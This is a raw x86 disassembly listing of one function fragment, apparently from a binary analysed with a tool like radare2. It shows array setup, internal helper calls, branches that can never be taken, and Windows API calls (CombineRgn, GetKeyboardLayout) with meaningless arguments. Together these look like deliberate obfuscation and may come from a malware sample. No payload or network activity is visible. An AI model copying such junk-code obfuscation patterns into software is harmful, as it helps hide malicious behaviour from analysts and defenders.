mov dword [ebp - 0x60], 0
jmp 0x1004ac1d
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x1004ac39
push dword [ebp - 0x60]
lea ecx, [ebp - 0x7b4]
call fcn.10016fad
mov dword [eax], 0xe5a60d00
jmp 0x1004ac16
mov dword [ebp - 0x60], 0
jmp 0x1004ac49
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x1004ac65
push dword [ebp - 0x60]
lea ecx, [ebp - 0x730]
call fcn.10016fad
mov dword [eax], 1
jmp 0x1004ac42
lea eax, [ebp - 0x5dc]
push eax
lea eax, [ebp - 0x67c]
push eax
push 1
lea eax, [ebp - 0x730]
push eax
lea eax, [ebp - 0x7b4]
push eax
call fcn.100470e6
add esp, 0x14
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x1004aca8
push 0x3c6
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x730]
call fcn.10016fa8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7b4]
call fcn.10016fa8
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x18], 0
jbe 0x1004acfd
push 0x3a1b
push 0x7058
push 0x4252
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xd0]
push eax
push 0x6cb6
push 0x3bf6
call fcn.100475e7
add esp, 0x20
mov dword [ebp - 0x5e4], 0xe971
mov dword [ebp - 0x634], 0xffffffff
push 3
lea ecx, [ebp - 0x874]
call fcn.10016f3c
mov dword [ebp - 4], 0x13
push 1
lea ecx, [ebp - 0x748]
call fcn.10016f3c
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xe4]
push eax
push 1
lea eax, [ebp - 0x874]
push eax
call fcn.10047253
add esp, 0xc
mov dword [ebp - 0xe4], 0
jmp 0x1004ad67
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jge 0x1004ad89
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x748]
call fcn.10016fad
mov dword [eax], 0x6e5c7a00
jmp 0x1004ad5a
push 1
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.100472c6
add esp, 0xc
push 0
lea ecx, [ebp - 0x748]
call fcn.10016fad
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x30c]
mov dword [ecx], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x748]
call fcn.10016fa8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x874]
call fcn.10016fa8
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xa0], 0xce9d05ba
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], eax
jg 0x1004ae10
mov dword [ebp - 0x314], 1
jmp 0x1004ae17
and dword [ebp - 0x314], 0
mov eax, 0xfff8
sub eax, dword [ebp - 0x314]
je 0x1004af92
push 0x22f
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret